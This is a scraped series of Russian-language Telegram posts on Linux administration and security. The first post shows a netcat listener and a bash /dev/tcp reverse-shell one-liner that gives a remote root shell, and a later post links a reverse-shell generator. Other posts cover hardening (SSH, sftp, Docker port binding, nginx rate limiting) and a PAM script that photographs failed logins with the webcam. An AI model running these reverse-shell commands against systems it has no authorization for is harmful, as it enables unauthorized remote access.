Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
Просим инженера из мухосранска запустить у себя:
В ответ он получает строчку вида:
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
Не забываем у инженера узнать его IP, чтобы подставитьинженера его в команду.
Все эти хуйни с перенаправлением
А дальше… магия!
В мухосранске, там где запустили
У инженера сменится шелл с
Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
🔔  @bashdays
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
nc = netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
netcat.Просим инженера из мухосранска запустить у себя:
root@fuck:/ nc -lvnp 2288
В ответ он получает строчку вида:
Listening on 0.0.0.0 2288-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1
Не забываем у инженера узнать его IP, чтобы подставить
Все эти хуйни с перенаправлением
0<&1 2>&1 описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.А дальше… магия!
В мухосранске, там где запустили
nc -lvnp 2288, произойдет такое:Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root@stage1:~#
У инженера сменится шелл с
root@fuck на root@stage1 и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  Как правильно натянуть презерватив
Вот поставил ты
ㅤ
Хуйня! У меня например на хостовой машине стоит
И оно проксирует на
Но если сделать так:
Ты сразу попадешь в контейнер, минуя
Напрашивается
Есть решение гораздо изящнее. Рассмотрим пример с gitea.
Это урезанный
Смотрим секцию с портами и видим там биндинг на
То тебе покажут письку!😑 
Вроде элементарно, но как оказалось дохуя специалистов этого не знают и продолжают трахаться с
И да, оказывается многие (в основном деды) не знают что
А вообще если у тебя всё в контейнерах крутится, выкинь
Пользуйтесь!
tags: #devops #docker #security
—
🔔  @bashdays➡️  @gitgate
Вот поставил ты
docker, запустил на нем контейнер, пробросил порты, збс! Только вот есть одно НО. Проброшенные порты торчат жопой наружу и любой желающий может получить к ним доступ.ㅤ
Хуйня! У меня например на хостовой машине стоит
nginx, который прокси-пасит по урлам на нужные приложения, например:curl https://bashdays.ru/vault/
И оно проксирует на
 localhost:8002, на этом порту крутится контейнер с vault hashicorp.Но если сделать так:
curl XXX.XXX.XXX.XXX:8002
Ты сразу попадешь в контейнер, минуя
nginx и все его правила. Гавно!Напрашивается
iptables, но в связке с docker это то еще приключение. Про эти моменты писал в этом и этом посте.
Есть решение гораздо изящнее. Рассмотрим пример с gitea.
Это урезанный
docker-compose.ymlversion: "3"
networks:
gitea:
external: false
services:
server:
image: gitea/gitea:latest
networks:
- gitea
volumes:
- gitea:/data
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2221:22"
Смотрим секцию с портами и видим там биндинг на
 127.0.0.1. Вот это оно и есть. То есть ты и порты пробрасываешь на хостовую машину и наружу ими не светишь.Nginx на хостовой машине отлично сходит на 127.0.0.1:3000, но вот если снова выполнить:curl XXX.XXX.XXX.XXX:3000
То тебе покажут письку!
Вроде элементарно, но как оказалось дохуя специалистов этого не знают и продолжают трахаться с
iptables.И да, оказывается многие (в основном деды) не знают что
docker-compose (тот что бинарник) это легаси и файлики docker-compose.yml теперь можно запускать так:docker compose up -d
А вообще если у тебя всё в контейнерах крутится, выкинь
nginx и замени на traefik и никакие порты по умолчанию жопой наружу торчать не будут + автоматическое получение SSL для доменов.Пользуйтесь!
tags: #devops #docker #security
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  Тут недавно в чатике была поднята интересная тема про sftp И я решил проверить и немного систематизировать знания.
Итак: если пользователю прописать оболочкой
Это вовсе не означает, что пользователь не может получить доступ к системе.
Да, он не может залогиниться с клавиатуры и зайти по ssh. Но он вполне МОЖЕТ ПОЛУЧИТЬ ДОСТУП К ФАЙЛАМ по sftp при условии, что в файле
Логика разработчиков вполне понятна. Работал человек, работал, доступ ему закрыли, но результат работы забрать может. Это, похоже на то, как жена выставляет чемодан у двери гулящему мужу.
Заткнуть эту дырку очень просто. В файле
Теперь проверка правильности конфигурации и перезапуск службы в случае успеха.
В этом случае при попытке входа по sftp получим сообщение:
ㅤ
Received message too long 1416128883 Ensure the remote shell produces no output for non-interactive sessions.
Резюмирую: При оболочке nologin можно получить доступ к файлам если sftp internal-sftp.
Сможешь спать спокойно, не заглянув в
tags: #linux #security © by Tagd Tagd
—
🔔  @bashdays➡️  @gitgate
Напоминаю: БЕЗДУМНАЯ ПРАВКА СИСТЕМНЫХ ФАЙЛОВ МОЖЕТ ПРИВЕСТИ НЕРАБОТОСПОСОБНОСТИ СЕРВЕРА.
Итак: если пользователю прописать оболочкой
/usr/sbin/nologinsudo usermod -s /usr/sbin/nologin user
Это вовсе не означает, что пользователь не может получить доступ к системе.
Да, он не может залогиниться с клавиатуры и зайти по ssh. Но он вполне МОЖЕТ ПОЛУЧИТЬ ДОСТУП К ФАЙЛАМ по sftp при условии, что в файле
/etc/ssh/sshd_config есть строка Subsystem sftp internal-sftp, не знаю как сейчас, а раньше эта подсистема была установлена по-умолчанию.Логика разработчиков вполне понятна. Работал человек, работал, доступ ему закрыли, но результат работы забрать может. Это, похоже на то, как жена выставляет чемодан у двери гулящему мужу.
Заткнуть эту дырку очень просто. В файле
 /etc/ssh/sshd_config заменим подсистему sftp:#Subsystem sftp internal-sftp
Subsystem sftp /usr/lib/openssh/sftp-server
Теперь проверка правильности конфигурации и перезапуск службы в случае успеха.
sudo sshd -t && sudo systemctl restart sshd
В этом случае при попытке входа по sftp получим сообщение:
ㅤ
Received message too long 1416128883 Ensure the remote shell produces no output for non-interactive sessions.
Резюмирую: При оболочке nologin можно получить доступ к файлам если sftp internal-sftp.
Сможешь спать спокойно, не заглянув в
/etc/ssh/sshd_config ? :-)tags: #linux #security © by Tagd Tagd
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  11 56 11
  FALSE!
Ну, еще одна статейка для укрепления нервов.
Все знают, что для блокировки пользователя нужно использовать команду:
Эта команда добавляет знак «!» перед полем пароля, что делает его недопустимым, тем самым блокируя.
Все это дело происходит в файле
Читаем
Ахренеть. Я тут пользователя блокернул, а он войти может.
Проверяем. Точно, по ssh, через ключ, входит и выходит. Замечательно выходит!
Лирическое отступление: В мане
Понимаете для чего нужна опция PermitEmptyPasswords в файле
Напоминаю, что если установить пользователю оболочку
➡️  Что делать для полной блокировки пользователя?
Воспользоваться "оболочкой
Резюмирую:
При блокировке пароля возможен доступ по ключу.
tags: #linux #security © by Tagd Tagd
—
🔔  @bashdays➡️  @gitgate
Ну, еще одна статейка для укрепления нервов.
Напоминаю: БЕЗДУМНАЯ ПРАВКА СИСТЕМНЫХ ФАЙЛОВ МОЖЕТ ПРИВЕСТИ НЕРАБОТОСПОСОБНОСТИ СЕРВЕРА.
Все знают, что для блокировки пользователя нужно использовать команду:
sudo usermod -L username
Эта команда добавляет знак «!» перед полем пароля, что делает его недопустимым, тем самым блокируя.
Все это дело происходит в файле
/etc/shadow, где хранятся зашифрованные пароли пользователей.Читаем
man shadow:Если поле пароля содержит строку, которая не удовлетворяет требованиям crypt(3), например содержит «!» или, то пользователь не сможет использовать этот пароль unix для входа (но может войти в систему под другими паролями).
Ахренеть. Я тут пользователя блокернул, а он войти может.
Проверяем. Точно, по ssh, через ключ, входит и выходит. Замечательно выходит!
Лирическое отступление: В мане
shadow также написано, что пароль вообще может быть пустым, но некоторые программы могут запретить его использование.Понимаете для чего нужна опция PermitEmptyPasswords в файле
/etc/ssh/sshd_config?Напоминаю, что если установить пользователю оболочку
/usr/sbin/nologin, то иногда этот пользователь может получить доступ к файлам через sftp (при установленной подсистеме internal-sftp).Воспользоваться "оболочкой
/usr/bin/false" Она просто возвращает код ошибки.Резюмирую:
При блокировке пароля возможен доступ по ключу.
/usr/sbin/nologin иногда дает доступ к файлам/usr/bin/false не дает, стерва.man usermod shadow sshd_config
tags: #linux #security © by Tagd Tagd
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  13 82 11
  Включаем режим параноика.
Все, и не раз слышали про то, что ходить по ссылкам не хорошо. Особенно, если эти ссылки непонятно откуда.
ㅤ
Но почему-то многие думают, что это касается только ссылок
Тут на @gitgate недавно проскакивала тема про Консольные онлайн Telnet/SSH игры.
Посмотрим на это глазами параноика: Что происходит, когда вы подключаетесь к ссылке вида
Просто в логах сервера отобразится ваш IP. Ситуация усугубляется, когда вы заходите на ссылку вида
В этом случае в логах отобразится не только адрес, но и логин текущего пользователя.
Прикиньте, есть ip и уже есть логин. Осталось подобрать пароль. Я бы на месте малышей-плохишей специально рыскал бы по github в поисках всякой прикольной фигни и собирал пары ip/login.
Да и логин, не какой-то там test, а реально используемый - сам по себе ценный ресурс.
Поэтому не ходите по ссылкам с рабочих машин, а если видите ссылку
Прошу прощениt за тему, которая и так всех задолбала.
tags: #linux #security © by Tagd Tagd
—
🔔  @bashdays➡️  @gitgate
Все, и не раз слышали про то, что ходить по ссылкам не хорошо. Особенно, если эти ссылки непонятно откуда.
ㅤ
Но почему-то многие думают, что это касается только ссылок
http:// https:// ftp://.Тут на @gitgate недавно проскакивала тема про Консольные онлайн Telnet/SSH игры.
Посмотрим на это глазами параноика: Что происходит, когда вы подключаетесь к ссылке вида
ssh user@addr.dom. Ну, ничего страшного.Просто в логах сервера отобразится ваш IP. Ситуация усугубляется, когда вы заходите на ссылку вида
ssh addr.dom.В этом случае в логах отобразится не только адрес, но и логин текущего пользователя.
Прикиньте, есть ip и уже есть логин. Осталось подобрать пароль. Я бы на месте малышей-плохишей специально рыскал бы по github в поисках всякой прикольной фигни и собирал пары ip/login.
Да и логин, не какой-то там test, а реально используемый - сам по себе ценный ресурс.
Поэтому не ходите по ссылкам с рабочих машин, а если видите ссылку
ssh addr.dom не поленитесь и добавьте пользователя test@addr.dom, чтобы не светить свой реальный логин.Прошу прощениt за тему, которая и так всех задолбала.
tags: #linux #security © by Tagd Tagd
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  Дурень думкой богатеет.
Смотрел я на логи ssh и думал, что же меня так раздражает. И понял, что меня достает не сама попытка перебора.
ㅤ
За стойкость пароля/ключа я спокоен. Меня достает то количество мусора, которое я должен периодически просматривать. И у меня возникла идея.
А почему бы не сделать, допустим двухлогинную систему. Прикиньте, для того, чтобы залогиниться нужно ввести 2 открытых логина. Но попытки перебора фиксировать только тогда, когда это представляет опасность, т.е. когда первый логин реален.
Конечно попытки простой долбежки тоже нужно учитывать, но, возможно, не так подробно, а за неделю, день или час и общем количеством (интегрально) чтобы иметь представление об интенсивности атаки.
Меня резкое снижение интенсивности атаки напрягает больше, чем ее повышение :-)
Ну, или свести эти два логина к полуторалогинной системе. Когда логин длинный, и состоит из двух частей, например
Кстати, из этого можно было бы извлечь и пользу. Если первые части для разных групп пользователей разные - сразу становится видна группа, из которой идет утечка. Может это и бред, а может кому-то пригодится.
tags: #linux #security © by Tagd Tagd
—
🔔  @bashdays➡️  @gitgate
Смотрел я на логи ssh и думал, что же меня так раздражает. И понял, что меня достает не сама попытка перебора.
ㅤ
За стойкость пароля/ключа я спокоен. Меня достает то количество мусора, которое я должен периодически просматривать. И у меня возникла идея.
А почему бы не сделать, допустим двухлогинную систему. Прикиньте, для того, чтобы залогиниться нужно ввести 2 открытых логина. Но попытки перебора фиксировать только тогда, когда это представляет опасность, т.е. когда первый логин реален.
Конечно попытки простой долбежки тоже нужно учитывать, но, возможно, не так подробно, а за неделю, день или час и общем количеством (интегрально) чтобы иметь представление об интенсивности атаки.
Меня резкое снижение интенсивности атаки напрягает больше, чем ее повышение :-)
Ну, или свести эти два логина к полуторалогинной системе. Когда логин длинный, и состоит из двух частей, например
asdfbgroot, но попытки перебора фиксировать, когда совпадает первая часть.Кстати, из этого можно было бы извлечь и пользу. Если первые части для разных групп пользователей разные - сразу становится видна группа, из которой идет утечка. Может это и бред, а может кому-то пригодится.
tags: #linux #security © by Tagd Tagd
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  После пика Балмера обычно наступает перевал Дятлова.
Привет ребят. Недавно я запилил пост — «Bash генератор OTP для 2FA» и буквально через день, случайно, обнаружил неведомую хуйню.
ㅤ
Мой основной парольник это «Vaultwarden self-hosted». Пользуюсь я им очень давно, перепробовал кучу всего, платного и бесплатного, но Vaultwarden покорил моё сердечко.
Про все его фичи писать не буду, ты сам всё прекрасно знаешь если пользуешь им.
Короче, заводя очередной пароль от сервиса я случайно захуячил пароль в какое-то поле ТОТP (Ключ аутентификатора).
Внимания не обратил, сохранил и пошел гулять во снах. А на следующий день открываю этот сохраненный пароль и вижу картину — бежит таймер и мне отображаются 6 цифер.
Хм… Дак это же ебать генератор 2FA кодов!!! Встроенный в Vaultwarden!
Включил 2FA в gitea, проверил, коды отлично подходят. Сука!
Как говорится — век живи, век учись.
Это как в айфоне или микрософт офисе. Ты используешь 1% от всего функционала который заложен в софтину, даже не задумываясь что внутри есть хуйни, которые ты пытаешься переизобрести.
Пользуйтесь, если кто не знал…
tags: #utilites #security #рабочиебудни
—
🔔  @bashdays➡️  @gitgate
  
Привет ребят. Недавно я запилил пост — «Bash генератор OTP для 2FA» и буквально через день, случайно, обнаружил неведомую хуйню.
ㅤ
Мой основной парольник это «Vaultwarden self-hosted». Пользуюсь я им очень давно, перепробовал кучу всего, платного и бесплатного, но Vaultwarden покорил моё сердечко.
Про все его фичи писать не буду, ты сам всё прекрасно знаешь если пользуешь им.
Короче, заводя очередной пароль от сервиса я случайно захуячил пароль в какое-то поле ТОТP (Ключ аутентификатора).
Внимания не обратил, сохранил и пошел гулять во снах. А на следующий день открываю этот сохраненный пароль и вижу картину — бежит таймер и мне отображаются 6 цифер.
Хм… Дак это же ебать генератор 2FA кодов!!! Встроенный в Vaultwarden!
Включил 2FA в gitea, проверил, коды отлично подходят. Сука!
Как говорится — век живи, век учись.
Это как в айфоне или микрософт офисе. Ты используешь 1% от всего функционала который заложен в софтину, даже не задумываясь что внутри есть хуйни, которые ты пытаешься переизобрести.
Пользуйтесь, если кто не знал…
ps: по секрету, сегодня залетит очередная пицца, не проеби!
tags: #utilites #security #рабочиебудни
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  17 29 11
  Тут меня попросили подробнее рассказать про права 330 на каталог.
🔤 🔤 🔥 🔤 🔤 🔤 🔤 
Но начну я с того, что напомню, что права в текстовом формате несколько лучше, чем в числовом.
ㅤ
Конкретно дело касается права "X". Это то же самое, что "x" но касается только каталогов.
То есть
Ну, ладно, я отвлекся. 330.
Тут в чате Alex (генератор идей) правильно назвал права «черной комнатой». Клаcсная аналогия.
Короче, я баню зловредов, которые ломятся ко мне на ssh. Баню в разных филиалах. И филиалы сваливают ежедневные отчеты мне, в головной по sftp.
По-хорошему, нужно, чтоб для каждого филиала, отдельная учетка, все загружают, каждый в свой каталог... Но данные не особо ценные.
Но и паранойю никто не отменял. А если ломанут один филиал, и как начнут данные отравлять... :-)
В общем принял решение, что все работают под одной учеткой. Поставил права на папку 330 (-wx-wx---).
Эти права разрешают файл открыть, записать, удалить. Только нужно точно указать какой конкретно файл. Потому что список получить нельзя.
Файлы сваливаются с суффиксом, например
То есть на сервере в головном от root я вижу все файлы, а филиалы не видят не то что соседние файлы, но даже свой.
Эти права раньше часто ставили на папку upload на анонимных ftp серверах. Но и сейчас можно использовать, для заливки, бэкапов, например.
Да, знаю, сейчас опытные админы набегут и начнут рассказывать про rsync. Я архивы шифрую. А при работе с шифрованными архивами rsync работает хуже, чем sftp. (Ну, сначала контрольные суммы, потом сравнение, потом синхронизация).
А что там сравнивать... они всегда разные. Блин, опять скатился на больное... В общем, при одной учетке, формально можно считать sftp сервер анонимным, но с кругом пользователей, ограниченным ключами :-).
Применение прав 330 позволяет упростить заливку файлов с обеспечением некоторой секьюрности.
Для освежения памяти очень рекомендую статью chmod в википедии.
tags: #security #linux
—
🔔  @bashdays➡️  @gitgate
Но начну я с того, что напомню, что права в текстовом формате несколько лучше, чем в числовом.
ㅤ
Конкретно дело касается права "X". Это то же самое, что "x" но касается только каталогов.
То есть
chmod -R +X ./ установит возможность поиска во всех подкаталогах текущего, но не сделает все файлы исполняемыми!Ну, ладно, я отвлекся. 330.
Тут в чате Alex (генератор идей) правильно назвал права «черной комнатой». Клаcсная аналогия.
Короче, я баню зловредов, которые ломятся ко мне на ssh. Баню в разных филиалах. И филиалы сваливают ежедневные отчеты мне, в головной по sftp.
По-хорошему, нужно, чтоб для каждого филиала, отдельная учетка, все загружают, каждый в свой каталог... Но данные не особо ценные.
Но и паранойю никто не отменял. А если ломанут один филиал, и как начнут данные отравлять... :-)
В общем принял решение, что все работают под одной учеткой. Поставил права на папку 330 (-wx-wx---).
Эти права разрешают файл открыть, записать, удалить. Только нужно точно указать какой конкретно файл. Потому что список получить нельзя.
Файлы сваливаются с суффиксом, например
filXXX_Ohd1Ul.txt Имя файла для каждого филиала всегда одно и то же, префикс - название филиала, суффикс набор букв (защита от перебора).То есть на сервере в головном от root я вижу все файлы, а филиалы не видят не то что соседние файлы, но даже свой.
Эти права раньше часто ставили на папку upload на анонимных ftp серверах. Но и сейчас можно использовать, для заливки, бэкапов, например.
Да, знаю, сейчас опытные админы набегут и начнут рассказывать про rsync. Я архивы шифрую. А при работе с шифрованными архивами rsync работает хуже, чем sftp. (Ну, сначала контрольные суммы, потом сравнение, потом синхронизация).
А что там сравнивать... они всегда разные. Блин, опять скатился на больное... В общем, при одной учетке, формально можно считать sftp сервер анонимным, но с кругом пользователей, ограниченным ключами :-).
Применение прав 330 позволяет упростить заливку файлов с обеспечением некоторой секьюрности.
Для освежения памяти очень рекомендую статью chmod в википедии.
tags: #security #linux
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  1 72
  Так ребята, писал давненько скрипт одному упоротому безопаснику на заводе.
Задача стояла такая: Я работаю в офисе и порой хожу посрать, но кругом хакеры, ноут с собой постоянно таскать не могу, он прибит гвоздями, а терпеть не вариант.
ㅤ
Ну ты понял. Тип захотел, чтобы его ноут сфоткал ебальник коллеги, который возможно вынашивает коварный план. И однажды попытается взломать его пароль из 128 символов.
Сказано сделано, дополнительно прикрутил фичу с оправкой фотки в телегу.
Делаем скрипт исполняемым (иксим через чмод), кидаем этот скрипт например сюда:
Добавляем строчку в
Если хочешь чтобы скрипт был обязателен для выполнения, замени
Работает так:
- При неудачной аутентификации PAM вызывает скрипт ebalo_send.sh
- Скрипт делает снимок ебальника с камеры и отправляет его в телегу
Такие дела. Бери на вооружение, может где-то и пригодится.
Ну и свои варианты кидай в комменты, всяко чото интересное всплывет.
tags: #linux #security #bash
—
🔔  @bashdays➡️  @gitgate
Задача стояла такая: Я работаю в офисе и порой хожу посрать, но кругом хакеры, ноут с собой постоянно таскать не могу, он прибит гвоздями, а терпеть не вариант.
ㅤ
Ну ты понял. Тип захотел, чтобы его ноут сфоткал ебальник коллеги, который возможно вынашивает коварный план. И однажды попытается взломать его пароль из 128 символов.
Сказано сделано, дополнительно прикрутил фичу с оправкой фотки в телегу.
Публикую как есть, оптимизировать задачи не было, нужно было сделать вчера.
#!/bin/bash
# Херачим переменные
TOKEN="BOT_TOKEN"
CHAT_ID="CHAT_ID"
USER=$(whoami)
TIMESTAMP=$(date '+%Y-%m-%d_%H-%M-%S')
IMAGE_PATH="/tmp/ebalo-${USER}-${TIMESTAMP}.png"
# Делаем фотку с вебки
if ffmpeg -y -t 1 -f video4linux2 -s 640x480 -r 30 -i /dev/video0 -f image2 "$IMAGE_PATH"; then
echo "✅ Ебальник успешно захвачен: $IMAGE_PATH"
else
echo "❌ Ошибка: Не удалось захватить ебальник"
exit 1
fi
# Пулим фотку в телегу
RESPONSE=$(curl -s -X POST "https://api.telegram.org/bot$TOKEN/sendPhoto" \
-F chat_id="$CHAT_ID" \
-F photo="@$IMAGE_PATH" \
-F caption="🚨 Хакер пойман, лови ебальник: $USER на $(hostname)")
# Проверяем респонс
if echo "$RESPONSE" | grep -q '"ok":true'; then
echo "📨 Ебальник успешно отправлен в Telegram"
else
echo "❌ Ошибка: Не удалось отправить ебальник в Telegram"
echo "Ответ Telegram API: $RESPONSE"
fi
# Подчищаем за собой
rm -f "$IMAGE_PATH"
Делаем скрипт исполняемым (иксим через чмод), кидаем этот скрипт например сюда:
/usr/local/bin/Добавляем строчку в
/etc/pam.d/common-authauth optional pam_exec.so /usr/local/bin/ebalo_send.sh
optional = скрипт не блокирует аутентификацию, даже если выплюнет ошибкуЕсли хочешь чтобы скрипт был обязателен для выполнения, замени
optional на required.Работает так:
- При неудачной аутентификации PAM вызывает скрипт ebalo_send.sh
- Скрипт делает снимок ебальника с камеры и отправляет его в телегу
Да, не забудь проверить что у PAM есть разрешение на доступ к /dev/video0 и на выполнение скрипта.
Такие дела. Бери на вооружение, может где-то и пригодится.
Ну и свои варианты кидай в комменты, всяко чото интересное всплывет.
tags: #linux #security #bash
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  15 166
  Нашел на просторах пиздатый генератор реверс-шелов, разнообразие способов просто зашкаливает.
ㅤ
Мастхевная штука для пентестеров и тех, кто подобными штуками увлекается. Ну и чисто ради любопытства можно просто позырить.
Забирай, пригодится: https://www.revshells.com/
🎄 Ну и еще раз с Наступающим! Нарезали салатиков?
tags: #utilites #linux #security
—
🔔  @bashdays➡️  @gitgate
ㅤ
Мастхевная штука для пентестеров и тех, кто подобными штуками увлекается. Ну и чисто ради любопытства можно просто позырить.
Забирай, пригодится: https://www.revshells.com/
По реверс-шелам у меня есть отдельный пост с подробным мануалом.
🎄 Ну и еще раз с Наступающим! Нарезали салатиков?
tags: #utilites #linux #security
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  11 74
  Еще один частый вопрос с LF — а нужно ли менять дефолтный ssh (22) порт на какой-то другой?
ㅤ
Нет! Ну а нахуя? Сократить в логах количество записей про неудачные попытки подломить твой девственный сервак?
В логи ты ходишь — практически никогда! Тем более там logrotate работает и место диске сильно не забьется.
Предположим ты поменял 22 на 2222. Количество записей в логах «сократилось» и теперь ты ебешься с указанием порта.
Охуеть как удобно! Ты скажешь - дак можно же в
Справедливо. Но зачем жертвовать своим удобством?
У тебя на серверах уже отключен вход по паролю, только ключи, рут тоже запрещен.
Пусть эти писька-боты долбятся и дальше в жопы. Накрайняк воткни fail2ban и устрой им веселую жизу.
Да и боты сейчас умные, если они видят закрытый 22 порт, они сделают
Как не прячься, все равно тебя найдут и насрут в логи.
Получается все манипуляции с портом это бесполезные телодвижения в ущерб удобства.
Соблюдай базовые правила безопасности и всё с твоими серверами будет хорошо.
За всю свою практику я встретил только одну компанию, где меняли 22 порт на какой-то другой, но никакой смысловой нагрузки в этом не было. Так и так эту компанию подломили и спиздили базу данных.
Да, еще был компания, где 22 порт открывался через port knocking. То есть нужно было предварительно стукнуться на 3 определенных порта и если последовательность была соблюдена, то открывался 22 порт.
Ну тоже такое себе решение в ущерб удобства. Любят люди из пушки по воробьям стрелять.
Это как в жизни — мойте руки перед едой. Если соблюдаешь этот базовый принцип, то повышаешь шансы, что твой организм не хакнет кишечная палочка.
Такие дела, изучай!
tags: #devops #ssh #linuxfactory #security
—
🔔  @bashdays➡️  @gitgate
ㅤ
Нет! Ну а нахуя? Сократить в логах количество записей про неудачные попытки подломить твой девственный сервак?
В логи ты ходишь — практически никогда! Тем более там logrotate работает и место диске сильно не забьется.
Предположим ты поменял 22 на 2222. Количество записей в логах «сократилось» и теперь ты ебешься с указанием порта.
ssh -p2222 user@server
Охуеть как удобно! Ты скажешь - дак можно же в
~/.ssh/config все это прописать и всё вернуть на свои места.Host bashdays.ru
HostName bashdays.ru
User user
IdentityFile ~/.ssh/shuba
Port 2222
Справедливо. Но зачем жертвовать своим удобством?
У тебя на серверах уже отключен вход по паролю, только ключи, рут тоже запрещен.
Пусть эти писька-боты долбятся и дальше в жопы. Накрайняк воткни fail2ban и устрой им веселую жизу.
Да и боты сейчас умные, если они видят закрытый 22 порт, они сделают
nmap -Pn, по итогу получат твой 2222 и продолжат долбиться.Как не прячься, все равно тебя найдут и насрут в логи.
Получается все манипуляции с портом это бесполезные телодвижения в ущерб удобства.
Соблюдай базовые правила безопасности и всё с твоими серверами будет хорошо.
- отключи вход по паролю
- перейди на ssh ключи
- запрети вход для рута
За всю свою практику я встретил только одну компанию, где меняли 22 порт на какой-то другой, но никакой смысловой нагрузки в этом не было. Так и так эту компанию подломили и спиздили базу данных.
Да, еще был компания, где 22 порт открывался через port knocking. То есть нужно было предварительно стукнуться на 3 определенных порта и если последовательность была соблюдена, то открывался 22 порт.
Ну тоже такое себе решение в ущерб удобства. Любят люди из пушки по воробьям стрелять.
Это как в жизни — мойте руки перед едой. Если соблюдаешь этот базовый принцип, то повышаешь шансы, что твой организм не хакнет кишечная палочка.
Такие дела, изучай!
tags: #devops #ssh #linuxfactory #security
—
Please open Telegram to view this post
    VIEW IN TELEGRAM
  1 87
  Здрасти мои хорошие!
Рассмотрим ситуацию — злодеи устроили нагрузочное тестирование и натравили на твой ламповый стартап какой-нибудь «яндекс-танк».
ㅤ
😲  Подключить DDosGuard или Кратор!
Эт я пеню, ценник на такие услуги — моё почтение, да и по функционалу там очень даже всё урезано. А cloudflare по регламенту компании запрещен. Замкнутый круг.
Ну так что делать то?
Да блядь nginx затюнить и отбить всю эту хуйню-муйню. Понятно дело оно особо при дидосах не спасет, но со сканерами и «танками» заебись справится.
В nginx есть параметр
Поехали настраивать.
Создаем файл
Для рейта есть такая табличка:
тестируем так:
И смотрим нет ли ошибок 503 Слишком дохуя запросов и корректно ли отрабатывает лимит.
🅰️ 🅰️ 
Сука! А как рассчитать эту 20m памяти? Щаа…
Пардон, хуйню сморозил, давай на котиках:
То есть, зона
А откуда взялось 128?
Как я написал выше nginx хранит каждого уникального клиента (ключ
Есть такая табличка:
Да, еще можно настроить
Например:
Клиенту разрешается до 400 мгновенных запросов, а затем он попадает в ограничение 200r/s.
Теперь по мапингам и гео хуйне.
В первом блоке про гео:
1. Все пользователи получат
2. Те, кто с
Во втором блоке про мапинг:
1. Если
2. Если
Короче делаем что-то вроде белого списка и кто в него не входит — идёт нахуй! Надеюсь понятно объяснил.
Теперь чтобы вся эта поебота заработала, нужно прописать в нужный локейшен:
Ну а чтобы отдавать нужный статус при достижении лимита, делаем:
Возвращаем 429 Слишком дохуя запросов, вместо стандартного 503.
Бездумно это настраивать не советую, могут пострадать обычные пользователи, а вот если всё вдумчиво сделать — спасешь свой стартап от злых писек.
➡️  Ну и сыпь в комменты свои варианты!
tags: #nginx #devops #security
—
🔔  @bashdays➡️  @gitgate
Рассмотрим ситуацию — злодеи устроили нагрузочное тестирование и натравили на твой ламповый стартап какой-нибудь «яндекс-танк».
ㅤ
Эт я пеню, ценник на такие услуги — моё почтение, да и по функционалу там очень даже всё урезано. А cloudflare по регламенту компании запрещен. Замкнутый круг.
Ну так что делать то?
Да блядь nginx затюнить и отбить всю эту хуйню-муйню. Понятно дело оно особо при дидосах не спасет, но со сканерами и «танками» заебись справится.
В nginx есть параметр
limit_req_zone, он то нам и пригодится. Этот параметр ограничивает количество одновременных запросов с одного айпишника.Поехали настраивать.
Создаем файл
 /etc/nginx/conf.d/assholes.confgeo $limited {  
    default 1;  
    192.168.1.1 0;  # Этот IP не лимитируется
    10.0.0.0/24 0;  # 10.0.0.0/24 тоже без ограничений  
}
  
map $limited $limit {  
    1 $binary_remote_addr;  
    0 "";  
}  
